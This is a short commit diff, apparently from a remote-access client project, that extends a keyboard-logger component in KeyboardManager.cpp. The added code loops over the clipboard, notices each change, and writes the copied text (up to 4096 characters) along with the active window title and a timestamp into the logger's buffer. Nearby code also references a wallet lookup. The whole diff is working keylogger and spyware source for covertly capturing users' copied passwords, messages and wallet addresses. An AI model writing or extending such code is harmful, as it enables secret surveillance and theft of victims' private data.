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Improve: Keyboard logger supports logging clipboard changes

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yuanyuanxiang
2026-05-11 00:49:18 +02:00
parent 929436e29d
commit b69d61617f
1 changed files with 21 additions and 0 deletions
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21
client/KeyboardManager.cpp
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@@ -506,6 +506,7 @@ int CALLBACK WriteBuffer(const char* record, void* user)
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
std::string lastValue = {};
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (w.empty()) {
@@ -517,11 +518,31 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
lastValue.clear();
Sleep(3000);
}
if (hasClipboard) {
std::string value;
clip::get_text(value);
std::string recordValue = value.substr(0, 4096);
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
lastValue = recordValue;
HWND foreground = GetForegroundWindow();
char window_title[MAX_PATH] = {};
wchar_t wTitle[MAX_PATH] = {};
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
}
SYSTEMTIME s;
GetLocalTime(&s);
char tm[64];
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
std::stringstream output;
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
std::string str = output.str();
pThis->m_Buffer->Write(str.c_str(), str.length());
}
if (value.length() > 200) {
Sleep(1000);
continue;